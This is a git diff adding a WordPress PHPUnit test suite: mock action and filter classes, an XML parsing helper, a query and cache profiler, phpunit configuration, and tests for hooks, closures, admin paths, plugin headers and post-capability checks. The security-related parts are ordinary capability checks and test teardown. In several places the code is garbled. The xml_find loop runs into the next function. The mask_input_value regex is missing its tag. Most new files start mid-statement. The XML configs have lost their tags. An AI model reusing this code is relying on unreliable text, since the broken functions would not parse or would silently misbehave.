+ function filter_append($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+ $args = func_get_args();
+ $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+ return $arg . '_append';
+ }
+
+ function filterall($tag, $arg=NULL) {
+ // this one doesn't return the result, so it's safe to use with the new 'all' filter
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+ $args = func_get_args();
+ $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$tag, 'args'=>array_slice($args, 1));
+ }
+
+ // return a list of all the actions, tags and args
+ function get_events() {
+ return $this->events;
+ }
+
+ // return a count of the number of times the action was called since the last reset
+ function get_call_count($tag='') {
+ if ($tag) {
+ $count = 0;
+ foreach ($this->events as $e)
+ if ($e['action'] == $tag)
+ ++$count;
+ return $count;
+ }
+ return count($this->events);
+ }
+
+ // return an array of the tags that triggered calls to this action
+ function get_tags() {
+ $out = array();
+ foreach ($this->events as $e) {
+ $out[] = $e['tag'];
+ }
+ return $out;
+ }
+
+ // return an array of args passed in calls to this action
+ function get_args() {
+ $out = array();
+ foreach ($this->events as $e)
+ $out[] = $e['args'];
+ return $out;
+ }
+}
+
+// convert valid xml to an array tree structure
+// kinda lame but it works with a default php 4 install
+class testXMLParser {
+ var $xml;
+ var $data = array();
+
+ function testXMLParser($in) {
+ $this->xml = xml_parser_create();
+ xml_set_object($this->xml, $this);
+ xml_parser_set_option($this->xml,XML_OPTION_CASE_FOLDING, 0);
+ xml_set_element_handler($this->xml, array(&$this, 'startHandler'), array(&$this, 'endHandler'));
+ xml_set_character_data_handler($this->xml, array(&$this, 'dataHandler'));
+ $this->parse($in);
+ }
+
+ function parse($in) {
+ $parse = xml_parse($this->xml, $in, sizeof($in));
+ if (!$parse) {
+ trigger_error(sprintf("XML error: %s at line %d",
+ xml_error_string(xml_get_error_code($this->xml)),
+ xml_get_current_line_number($this->xml)), E_USER_ERROR);
+ xml_parser_free($this->xml);
+ }
+ return true;
+ }
+
+ function startHandler($parser, $name, $attributes) {
+ $data['name'] = $name;
+ if ($attributes) { $data['attributes'] = $attributes; }
+ $this->data[] = $data;
+ }
+
+ function dataHandler($parser, $data) {
+ $index = count($this->data) - 1;
+ @$this->data[$index]['content'] .= $data;
+ }
+
+ function endHandler($parser, $name) {
+ if (count($this->data) > 1) {
+ $data = array_pop($this->data);
+ $index = count($this->data) - 1;
+ $this->data[$index]['child'][] = $data;
+ }
+ }
+}
+
+function xml_to_array($in) {
+ $p = new testXMLParser($in);
+ return $p->data;
+}
+
+function xml_find($tree /*, $el1, $el2, $el3, .. */) {
+ $a = func_get_args();
+ $a = array_slice($a, 1);
+ $n = count($a);
+ $out = array();
+
+ if ($n < 1)
+ return $out;
+
+ for ($i=0; $i$v)
+ $a[] = $k.'="'.$v.'"';
+ return join(' ', $a);
+}
+
+function xml_array_dumbdown(&$data) {
+ $out = array();
+
+ foreach (array_keys($data) as $i) {
+ $name = $data[$i]['name'];
+ if (!empty($data[$i]['attributes']))
+ $name .= ' '.xml_join_atts($data[$i]['attributes']);
+
+ if (!empty($data[$i]['child'])) {
+ $out[$name][] = xml_array_dumbdown($data[$i]['child']);
+ }
+ else
+ $out[$name] = $data[$i]['content'];
+ }
+
+ return $out;
+}
+
+function dmp() {
+ $args = func_get_args();
+
+ foreach ($args as $thing)
+ echo (is_scalar($thing) ? strval($thing) : var_export($thing, true)), "\n";
+}
+
+function dmp_filter($a) {
+ dmp($a);
+ return $a;
+}
+
+function get_echo($callable, $args = array()) {
+ ob_start();
+ call_user_func_array($callable, $args);
+ return ob_get_clean();
+}
+
+// recursively generate some quick assertEquals tests based on an array
+function gen_tests_array($name, $array) {
+ $out = array();
+ foreach ($array as $k=>$v) {
+ if (is_numeric($k))
+ $index = strval($k);
+ else
+ $index = "'".addcslashes($k, "\n\r\t'\\")."'";
+
+ if (is_string($v)) {
+ $out[] = '$this->assertEquals( \'' . addcslashes($v, "\n\r\t'\\") . '\', $'.$name.'['.$index.'] );';
+ }
+ elseif (is_numeric($v)) {
+ $out[] = '$this->assertEquals( ' . $v . ', $'.$name.'['.$index.'] );';
+ }
+ elseif (is_array($v)) {
+ $out[] = gen_tests_array("{$name}[{$index}]", $v);
+ }
+ }
+ return join("\n", $out)."\n";
+}
+
+/**
+ * Use to create objects by yourself
+ */
+class MockClass {};
+
+/**
+ * Drops all tables from the WordPress database
+ */
+function drop_tables() {
+ global $wpdb;
+ $tables = $wpdb->get_col('SHOW TABLES;');
+ foreach ($tables as $table)
+ $wpdb->query("DROP TABLE IF EXISTS {$table}");
+}
+
+function print_backtrace() {
+ $bt = debug_backtrace();
+ echo "Backtrace:\n";
+ $i = 0;
+ foreach ($bt as $stack) {
+ echo ++$i, ": ";
+ if ( isset($stack['class']) )
+ echo $stack['class'].'::';
+ if ( isset($stack['function']) )
+ echo $stack['function'].'() ';
+ echo "line {$stack[line]} in {$stack[file]}\n";
+ }
+ echo "\n";
+}
+
+// mask out any input fields matching the given name
+function mask_input_value($in, $name='_wpnonce') {
+ return preg_replace('@]*) name="'.preg_quote($name).'"([^>]*) value="[^>]*" />@', '', $in);
+}
+
+$GLOBALS['_wp_die_disabled'] = false;
+function _wp_die_handler( $message, $title = '', $args = array() ) {
+ if ( !$GLOBALS['_wp_die_disabled'] ) {
+ _default_wp_die_handler( $message, $title, $args );
+ } else {
+ //Ignore at our peril
+ }
+}
+
+function _disable_wp_die() {
+ $GLOBALS['_wp_die_disabled'] = true;
+}
+
+function _enable_wp_die() {
+ $GLOBALS['_wp_die_disabled'] = false;
+}
+
+function _wp_die_handler_filter() {
+ return '_wp_die_handler';
+}
+
+if ( !function_exists( 'str_getcsv' ) ) {
+ function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = "\\" ) {
+ $fp = fopen( 'php://temp/', 'r+' );
+ fputs( $fp, $input );
+ rewind( $fp );
+ $data = fgetcsv( $fp, strlen( $input ), $delimiter, $enclosure );
+ fclose( $fp );
+ return $data;
+ }
+}
+
+function _rmdir( $path ) {
+ if ( in_array(basename( $path ), array( '.', '..' ) ) ) {
+ return;
+ } elseif ( is_file( $path ) ) {
+ unlink( $path );
+ } elseif ( is_dir( $path ) ) {
+ foreach ( scandir( $path ) as $file )
+ _rmdir( $path . '/' . $file );
+ rmdir( $path );
+ }
+}
+
+/**
+ * Removes the post type and its taxonomy associations.
+ */
+function _unregister_post_type( $cpt_name ) {
+ unset( $GLOBALS['wp_post_types'][ $cpt_name ] );
+ unset( $GLOBALS['_wp_post_type_features'][ $cpt_name ] );
+
+ foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy ) {
+ if ( false !== $key = array_search( $cpt_name, $taxonomy->object_type ) ) {
+ unset( $taxonomy->object_type[$key] );
+ }
+ }
+}
+
+function _unregister_taxonomy( $taxonomy_name ) {
+ unset( $GLOBALS['wp_taxonomies'][$taxonomy_name] );
+}
diff --git a/tests/includes/wp-profiler.php b/tests/includes/wp-profiler.php
new file mode 100644
index 0000000000..1ea4d2e49e
--- /dev/null
+++ b/tests/includes/wp-profiler.php
@@ -0,0 +1,216 @@
+stack = array();
+ $this->profile = array();
+ }
+
+ function start($name) {
+ $time = $this->microtime();
+
+ if (!$this->stack) {
+ // log all actions and filters
+ add_filter('all', array(&$this, 'log_filter'));
+ }
+
+ // reset the wpdb queries log, storing it on the profile stack if necessary
+ global $wpdb;
+ if ($this->stack) {
+ $this->stack[count($this->stack)-1]['queries'] = $wpdb->queries;
+ }
+ $wpdb->queries = array();
+
+ global $wp_object_cache;
+
+ $this->stack[] = array(
+ 'start' => $time,
+ 'name' => $name,
+ 'cache_cold_hits' => $wp_object_cache->cold_cache_hits,
+ 'cache_warm_hits' => $wp_object_cache->warm_cache_hits,
+ 'cache_misses' => $wp_object_cache->cache_misses,
+ 'cache_dirty_objects' => $this->_dirty_objects_count($wp_object_cache->dirty_objects),
+ 'actions' => array(),
+ 'filters' => array(),
+ 'queries' => array(),
+ );
+
+ }
+
+ function stop() {
+ $item = array_pop($this->stack);
+ $time = $this->microtime($item['start']);
+ $name = $item['name'];
+
+ global $wpdb;
+ $item['queries'] = $wpdb->queries;
+ global $wp_object_cache;
+
+ $cache_dirty_count = $this->_dirty_objects_count($wp_object_cache->dirty_objects);
+ $cache_dirty_delta = $this->array_sub($cache_dirty_count, $item['cache_dirty_objects']);
+
+ if (isset($this->profile[$name])) {
+ $this->profile[$name]['time'] += $time;
+ $this->profile[$name]['calls'] ++;
+ $this->profile[$name]['cache_cold_hits'] += ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']);
+ $this->profile[$name]['cache_warm_hits'] += ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']);
+ $this->profile[$name]['cache_misses'] += ($wp_object_cache->cache_misses - $item['cache_misses']);
+ $this->profile[$name]['cache_dirty_objects'] = array_add( $this->profile[$name]['cache_dirty_objects'], $cache_dirty_delta) ;
+ $this->profile[$name]['actions'] = array_add( $this->profile[$name]['actions'], $item['actions'] );
+ $this->profile[$name]['filters'] = array_add( $this->profile[$name]['filters'], $item['filters'] );
+ $this->profile[$name]['queries'] = array_add( $this->profile[$name]['queries'], $item['queries'] );
+ #$this->_query_summary($item['queries'], $this->profile[$name]['queries']);
+
+ }
+ else {
+ $queries = array();
+ $this->_query_summary($item['queries'], $queries);
+ $this->profile[$name] = array(
+ 'time' => $time,
+ 'calls' => 1,
+ 'cache_cold_hits' => ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']),
+ 'cache_warm_hits' => ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']),
+ 'cache_misses' => ($wp_object_cache->cache_misses - $item['cache_misses']),
+ 'cache_dirty_objects' => $cache_dirty_delta,
+ 'actions' => $item['actions'],
+ 'filters' => $item['filters'],
+# 'queries' => $item['queries'],
+ 'queries' => $queries,
+ );
+ }
+
+ if (!$this->stack) {
+ remove_filter('all', array(&$this, 'log_filter'));
+ }
+ }
+
+ function microtime($since = 0.0) {
+ list($usec, $sec) = explode(' ', microtime());
+ return (float)$sec + (float)$usec - $since;
+ }
+
+ function log_filter($tag) {
+ if ($this->stack) {
+ global $wp_actions;
+ if ($tag == end($wp_actions))
+ @$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+ else
+ @$this->stack[count($this->stack)-1]['filters'][$tag] ++;
+ }
+ return $arg;
+ }
+
+ function log_action($tag) {
+ if ($this->stack)
+ @$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+ }
+
+ function _current_action() {
+ global $wp_actions;
+ return $wp_actions[count($wp_actions)-1];
+ }
+
+ function results() {
+ return $this->profile;
+ }
+
+ function _query_summary($queries, &$out) {
+ foreach ($queries as $q) {
+ $sql = $q[0];
+ $sql = preg_replace('/(WHERE \w+ =) \d+/', '$1 x', $sql);
+ $sql = preg_replace('/(WHERE \w+ =) \'\[-\w]+\'/', '$1 \'xxx\'', $sql);
+
+ @$out[$sql] ++;
+ }
+ asort($out);
+ return;
+ }
+
+ function _query_count($queries) {
+ // this requires the savequeries patch at http://trac.wordpress.org/ticket/5218
+ $out = array();
+ foreach ($queries as $q) {
+ if (empty($q[2]))
+ @$out['unknown'] ++;
+ else
+ @$out[$q[2]] ++;
+ }
+ return $out;
+ }
+
+ function _dirty_objects_count($dirty_objects) {
+ $out = array();
+ foreach (array_keys($dirty_objects) as $group)
+ $out[$group] = count($dirty_objects[$group]);
+ return $out;
+ }
+
+ function array_add($a, $b) {
+ $out = $a;
+ foreach (array_keys($b) as $key)
+ if (array_key_exists($key, $out))
+ $out[$key] += $b[$key];
+ else
+ $out[$key] = $b[$key];
+ return $out;
+ }
+
+ function array_sub($a, $b) {
+ $out = $a;
+ foreach (array_keys($b) as $key)
+ if (array_key_exists($key, $b))
+ $out[$key] -= $b[$key];
+ return $out;
+ }
+
+ function print_summary() {
+ $results = $this->results();
+
+ printf("\nname calls time action filter warm cold misses dirty\n");
+ foreach ($results as $name=>$stats) {
+ printf("%24.24s %6d %6.4f %6d %6d %6d %6d %6d %6d\n", $name, $stats['calls'], $stats['time'], array_sum($stats['actions']), array_sum($stats['filters']), $stats['cache_warm_hits'], $stats['cache_cold_hits'], $stats['cache_misses'], array_sum($stats['cache_dirty_objects']));
+ }
+ }
+}
+
+global $wppf;
+$wppf = new WPProfiler();
+
+function wppf_start($name) {
+ $GLOBALS['wppf']->start($name);
+}
+
+function wppf_stop() {
+ $GLOBALS['wppf']->stop();
+}
+
+function wppf_results() {
+ return $GLOBALS['wppf']->results();
+}
+
+function wppf_print_summary() {
+ $GLOBALS['wppf']->print_summary();
+}
+
+?>
\ No newline at end of file
diff --git a/tests/multisite.xml b/tests/multisite.xml
new file mode 100644
index 0000000000..5408a3b67a
--- /dev/null
+++ b/tests/multisite.xml
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+
+ tests
+ tests/actions/closures.php
+ tests/image/editor.php
+ tests/image/editor_gd.php
+ tests/image/editor_imagick.php
+ tests/actions/closures.php
+ tests/image/editor.php
+ tests/image/editor_gd.php
+ tests/image/editor_imagick.php
+
+
+
+
+ ajax
+
+
+
diff --git a/tests/phpunit.xml.dist b/tests/phpunit.xml.dist
new file mode 100644
index 0000000000..ff0b5882d7
--- /dev/null
+++ b/tests/phpunit.xml.dist
@@ -0,0 +1,28 @@
+
+
+
+
+ tests
+ tests/actions/closures.php
+ tests/image/editor.php
+ tests/image/editor_gd.php
+ tests/image/editor_imagick.php
+ tests/actions/closures.php
+ tests/image/editor.php
+ tests/image/editor_gd.php
+ tests/image/editor_imagick.php
+
+
+
+
+ ajax
+
+
+
+
+
+
diff --git a/tests/tests/actions.php b/tests/tests/actions.php
new file mode 100644
index 0000000000..fb87ee0ab3
--- /dev/null
+++ b/tests/tests/actions.php
@@ -0,0 +1,253 @@
+assertEquals(1, $a->get_call_count());
+ // only our hook was called
+ $this->assertEquals(array($tag), $a->get_tags());
+
+ $args = array_pop($a->get_args());
+ $this->assertEquals(array(''), $args);
+ }
+
+ function test_remove_action() {
+ $a = new MockAction();
+ $tag = rand_str();
+
+ add_action($tag, array(&$a, 'action'));
+ do_action($tag);
+
+ // make sure our hook was called correctly
+ $this->assertEquals(1, $a->get_call_count());
+ $this->assertEquals(array($tag), $a->get_tags());
+
+ // now remove the action, do it again, and make sure it's not called this time
+ remove_action($tag, array(&$a, 'action'));
+ do_action($tag);
+ $this->assertEquals(1, $a->get_call_count());
+ $this->assertEquals(array($tag), $a->get_tags());
+
+ }
+
+ function test_has_action() {
+ $tag = rand_str();
+ $func = rand_str();
+
+ $this->assertFalse( has_action($tag, $func) );
+ $this->assertFalse( has_action($tag) );
+ add_action($tag, $func);
+ $this->assertEquals( 10, has_action($tag, $func) );
+ $this->assertTrue( has_action($tag) );
+ remove_action($tag, $func);
+ $this->assertFalse( has_action($tag, $func) );
+ $this->assertFalse( has_action($tag) );
+ }
+
+ // one tag with multiple actions
+ function test_multiple_actions() {
+ $a1 = new MockAction();
+ $a2 = new MockAction();
+ $tag = rand_str();
+
+ // add both actions to the hook
+ add_action($tag, array(&$a1, 'action'));
+ add_action($tag, array(&$a2, 'action'));
+
+ do_action($tag);
+
+ // both actions called once each
+ $this->assertEquals(1, $a1->get_call_count());
+ $this->assertEquals(1, $a2->get_call_count());
+ }
+
+ function test_action_args_1() {
+ $a = new MockAction();
+ $tag = rand_str();
+ $val = rand_str();
+
+ add_action($tag, array(&$a, 'action'));
+ // call the action with a single argument
+ do_action($tag, $val);
+
+ $this->assertEquals(1, $a->get_call_count());
+ $this->assertEquals(array($val), array_pop($a->get_args()));
+ }
+
+ function test_action_args_2() {
+ $a1 = new MockAction();
+ $a2 = new MockAction();
+ $tag = rand_str();
+ $val1 = rand_str();
+ $val2 = rand_str();
+
+ // a1 accepts two arguments, a2 doesn't
+ add_action($tag, array(&$a1, 'action'), 10, 2);
+ add_action($tag, array(&$a2, 'action'));
+ // call the action with two arguments
+ do_action($tag, $val1, $val2);
+
+ // a1 should be called with both args
+ $this->assertEquals(1, $a1->get_call_count());
+ $this->assertEquals(array($val1, $val2), array_pop($a1->get_args()));
+
+ // a2 should be called with one only
+ $this->assertEquals(1, $a2->get_call_count());
+ $this->assertEquals(array($val1), array_pop($a2->get_args()));
+ }
+
+ function test_action_priority() {
+ $a = new MockAction();
+ $tag = rand_str();
+
+ add_action($tag, array(&$a, 'action'), 10);
+ add_action($tag, array(&$a, 'action2'), 9);
+ do_action($tag);
+
+ // two events, one per action
+ $this->assertEquals(2, $a->get_call_count());
+
+ $expected = array (
+ // action2 is called first because it has priority 9
+ array (
+ 'action' => 'action2',
+ 'tag' => $tag,
+ 'args' => array('')
+ ),
+ // action 1 is called second
+ array (
+ 'action' => 'action',
+ 'tag' => $tag,
+ 'args' => array('')
+ ),
+ );
+
+ $this->assertEquals($expected, $a->get_events());
+ }
+
+ function test_did_action() {
+ $tag1 = rand_str();
+ $tag2 = rand_str();
+
+ // do action tag1 but not tag2
+ do_action($tag1);
+ $this->assertEquals(1, did_action($tag1));
+ $this->assertEquals(0, did_action($tag2));
+
+ // do action tag2 a random number of times
+ $count = rand(0, 10);
+ for ($i=0; $i<$count; $i++)
+ do_action($tag2);
+
+ // tag1's count hasn't changed, tag2 should be correct
+ $this->assertEquals(1, did_action($tag1));
+ $this->assertEquals($count, did_action($tag2));
+
+ }
+
+ function test_all_action() {
+ $a = new MockAction();
+ $tag1 = rand_str();
+ $tag2 = rand_str();
+
+ // add an 'all' action
+ add_action('all', array(&$a, 'action'));
+ $this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+ // do some actions
+ do_action($tag1);
+ do_action($tag2);
+ do_action($tag1);
+ do_action($tag1);
+
+ // our action should have been called once for each tag
+ $this->assertEquals(4, $a->get_call_count());
+ // only our hook was called
+ $this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+ remove_action('all', array(&$a, 'action'));
+ $this->assertFalse(has_filter('all', array(&$a, 'action')));
+
+ }
+
+ function test_remove_all_action() {
+ $a = new MockAction();
+ $tag = rand_str();
+
+ add_action('all', array(&$a, 'action'));
+ $this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+ do_action($tag);
+
+ // make sure our hook was called correctly
+ $this->assertEquals(1, $a->get_call_count());
+ $this->assertEquals(array($tag), $a->get_tags());
+
+ // now remove the action, do it again, and make sure it's not called this time
+ remove_action('all', array(&$a, 'action'));
+ $this->assertFalse(has_filter('all', array(&$a, 'action')));
+ do_action($tag);
+ $this->assertEquals(1, $a->get_call_count());
+ $this->assertEquals(array($tag), $a->get_tags());
+ }
+
+ function test_action_ref_array() {
+ $obj = new stdClass();
+ $a = new MockAction();
+ $tag = rand_str();
+
+ add_action($tag, array(&$a, 'action'));
+
+ do_action_ref_array($tag, array(&$obj));
+
+ $args = $a->get_args();
+ $this->assertSame($args[0][0], $obj);
+ // just in case we don't trust assertSame
+ $obj->foo = true;
+ $this->assertFalse( empty($args[0][0]->foo) );
+ }
+
+ /**
+ * @ticket 11241
+ */
+ function test_action_keyed_array() {
+ $a = new MockAction();
+
+ $tag = rand_str();
+
+ add_action($tag, array(&$a, 'action'));
+
+ $context = array( rand_str() => rand_str() );
+ do_action($tag, $context);
+
+ $args = $a->get_args();
+ $this->assertSame($args[0][0], $context);
+
+ $context2 = array( rand_str() => rand_str(), rand_str() => rand_str() );
+ do_action($tag, $context2);
+
+ $args = $a->get_args();
+ $this->assertSame($args[1][0], $context2);
+
+ }
+
+ function test_action_self_removal() {
+ add_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+ do_action( 'test_action_self_removal' );
+ $this->assertEquals( 1, did_action( 'test_action_self_removal' ) );
+ }
+
+ function action_self_removal() {
+ remove_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+ }
+}
diff --git a/tests/tests/actions/callbacks.php b/tests/tests/actions/callbacks.php
new file mode 100644
index 0000000000..41db3dac3a
--- /dev/null
+++ b/tests/tests/actions/callbacks.php
@@ -0,0 +1,22 @@
+assertFalse( has_action( $tag ) );
+
+ add_action( $tag, array( 'Class', 'method' ) );
+
+ $this->assertEquals( 10, has_action( $tag, array( 'Class', 'method' ) ) );
+
+ $this->assertEquals( 10, has_action( $tag, 'Class::method' ) );
+ }
+}
diff --git a/tests/tests/actions/closures.php b/tests/tests/actions/closures.php
new file mode 100644
index 0000000000..4dd3d5c1e3
--- /dev/null
+++ b/tests/tests/actions/closures.php
@@ -0,0 +1,38 @@
+assertSame( 10, has_action($tag, $closure) );
+
+ $context = array( rand_str(), rand_str() );
+ do_action($tag, $context[0], $context[1]);
+
+ $this->assertSame($GLOBALS[$context[0]], $context[1]);
+
+ $tag2 = 'test_action_closure_2';
+ $closure2 = function() { $GLOBALS['closure_no_args'] = true;};
+ add_action($tag2, $closure2);
+
+ $this->assertSame( 10, has_action($tag2, $closure2) );
+
+ do_action($tag2);
+
+ $this->assertTrue($GLOBALS['closure_no_args']);
+
+ remove_action( $tag, $closure );
+ remove_action( $tag2, $closure2 );
+ }
+}
diff --git a/tests/tests/admin/includesFile.php b/tests/tests/admin/includesFile.php
new file mode 100644
index 0000000000..f4ee0f1375
--- /dev/null
+++ b/tests/tests/admin/includesFile.php
@@ -0,0 +1,38 @@
+assertEquals( str_replace( '\\', '/', ABSPATH ), get_home_path() );
+
+ update_option( 'home', 'http://localhost' );
+ update_option( 'siteurl', 'http://localhost/wp' );
+
+ $_SERVER['SCRIPT_FILENAME'] = 'D:\root\vhosts\site\httpdocs\wp\wp-admin\options-permalink.php';
+ $this->assertEquals( 'D:/root/vhosts/site/httpdocs/', get_home_path() );
+
+ $_SERVER['SCRIPT_FILENAME'] = '/Users/foo/public_html/trunk/wp/wp-admin/options-permalink.php';
+ $this->assertEquals( '/Users/foo/public_html/trunk/', get_home_path() );
+
+ $_SERVER['SCRIPT_FILENAME'] = 'S:/home/wordpress/trunk/wp/wp-admin/options-permalink.php';
+ $this->assertEquals( 'S:/home/wordpress/trunk/', get_home_path() );
+
+ update_option( 'home', $home );
+ update_option( 'siteurl', $siteurl );
+ $_SERVER['SCRIPT_FILENAME'] = $sfn;
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/admin/includesMisc.php b/tests/tests/admin/includesMisc.php
new file mode 100644
index 0000000000..6293013ba5
--- /dev/null
+++ b/tests/tests/admin/includesMisc.php
@@ -0,0 +1,25 @@
+ 'wordpress\.org/about/philosophy', // no longer strips slashes
+ 'wordpress.org/about/philosophy'
+ => 'wordpress.org/about/philosophy',
+ 'http://wordpress.org/about/philosophy/'
+ => 'wordpress.org/about/philosophy', // remove http, trailing slash
+ 'http://www.wordpress.org/about/philosophy/'
+ => 'wordpress.org/about/philosophy', // remove http, www
+ 'http://wordpress.org/about/philosophy/#box'
+ => 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters
+ 'http://wordpress.org/about/philosophy/#decisions'
+ => 'wordpress.org/about/philosophy/#…', // shorten to 32 if > 35 after cleaning
+ );
+ foreach ( $tests as $k => $v )
+ $this->assertEquals( $v, url_shorten( $k ) );
+ }
+}
diff --git a/tests/tests/admin/includesPlugin.php b/tests/tests/admin/includesPlugin.php
new file mode 100644
index 0000000000..bb09d783b5
--- /dev/null
+++ b/tests/tests/admin/includesPlugin.php
@@ -0,0 +1,59 @@
+ 'Hello Dolly',
+ 'Title' => 'Hello Dolly',
+ 'PluginURI' => 'http://wordpress.org/#',
+ 'Description' => 'This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. By Matt Mullenweg.',
+ 'Author' => 'Matt Mullenweg',
+ 'AuthorURI' => 'http://ma.tt/',
+ 'Version' => '1.5.1',
+ 'TextDomain' => 'hello-dolly',
+ 'DomainPath' => ''
+ );
+
+ $this->assertTrue( is_array($data) );
+
+ foreach ($default_headers as $name => $value) {
+ $this->assertTrue(isset($data[$name]));
+ $this->assertEquals($value, $data[$name]);
+ }
+ }
+
+ function test_menu_page_url() {
+ $current_user = get_current_user_id();
+ wp_set_current_user( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+ update_option( 'siteurl', 'http://example.com' );
+
+ // add some pages
+ add_options_page( 'Test Settings', 'Test Settings', 'manage_options', 'testsettings', 'mt_settings_page' );
+ add_management_page( 'Test Tools', 'Test Tools', 'manage_options', 'testtools', 'mt_tools_page' );
+ add_menu_page( 'Test Toplevel', 'Test Toplevel', 'manage_options', 'mt-top-level-handle', 'mt_toplevel_page' );
+ add_submenu_page( 'mt-top-level-handle', 'Test Sublevel', 'Test Sublevel', 'manage_options', 'sub-page', 'mt_sublevel_page' );
+ add_submenu_page( 'mt-top-level-handle', 'Test Sublevel 2', 'Test Sublevel 2', 'manage_options', 'sub-page2', 'mt_sublevel_page2' );
+ add_theme_page( 'With Spaces', 'With Spaces', 'manage_options', 'With Spaces', 'mt_tools_page' );
+ add_pages_page( 'Appending Query Arg', 'Test Pages', 'edit_pages', 'testpages', 'mt_pages_page' );
+
+ $expected['testsettings'] = 'http://example.com/wp-admin/options-general.php?page=testsettings';
+ $expected['testtools'] = 'http://example.com/wp-admin/tools.php?page=testtools';
+ $expected['mt-top-level-handle'] = 'http://example.com/wp-admin/admin.php?page=mt-top-level-handle';
+ $expected['sub-page'] = 'http://example.com/wp-admin/admin.php?page=sub-page';
+ $expected['sub-page2'] = 'http://example.com/wp-admin/admin.php?page=sub-page2';
+ $expected['not_registered'] = '';
+ $expected['With Spaces'] = 'http://example.com/wp-admin/themes.php?page=WithSpaces';
+ $expected['testpages'] = 'http://example.com/wp-admin/edit.php?post_type=page&page=testpages';
+
+ foreach ($expected as $name => $value) {
+ $this->assertEquals( $value, menu_page_url( $name, false ) );
+ }
+
+ wp_set_current_user( $current_user );
+ }
+}
diff --git a/tests/tests/admin/includesPost.php b/tests/tests/admin/includesPost.php
new file mode 100644
index 0000000000..e359830ca1
--- /dev/null
+++ b/tests/tests/admin/includesPost.php
@@ -0,0 +1,117 @@
+factory->user->create( array( 'role' => 'contributor' ) );
+ $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+ wp_set_current_user( $contributor_id );
+
+ // Create New Draft Post
+ $_post_data = array();
+ $_post_data['post_author'] = $contributor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'draft', $_results['post_status'] );
+
+ // Submit Post for Approval
+ $_post_data = array();
+ $_post_data['post_author'] = $contributor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['publish'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'pending', $_results['post_status'] );
+
+ // Create New Draft Post for another user
+ $_post_data = array();
+ $_post_data['post_author'] = $editor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+ $this->assertEquals( 'You are not allowed to create posts as this user.', $_results->get_error_message() );
+
+ // Edit Draft Post for another user
+ $_post_data = array();
+ $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+ $_post_data['post_author'] = $editor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['post_status'] = 'draft';
+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( true, $_post_data );
+ $this->assertInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+ $this->assertEquals( 'You are not allowed to edit posts as this user.', $_results->get_error_message() );
+
+ wp_set_current_user( 0 );
+ }
+
+ function test__wp_translate_postdata_cap_checks_editor() {
+ $contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+ $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+ wp_set_current_user( $editor_id );
+
+ // Create New Draft Post
+ $_post_data = array();
+ $_post_data['post_author'] = $editor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'draft', $_results['post_status'] );
+
+ // Publish Post
+ $_post_data = array();
+ $_post_data['post_author'] = $editor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['publish'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'publish', $_results['post_status'] );
+
+ // Create New Draft Post for another user
+ $_post_data = array();
+ $_post_data['post_author'] = $contributor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( false, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'draft', $_results['post_status'] );
+
+ // Edit Draft Post for another user
+ $_post_data = array();
+ $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $contributor_id ) );
+ $_post_data['post_author'] = $contributor_id;
+ $_post_data['post_type'] = 'post';
+ $_post_data['post_status'] = 'draft';
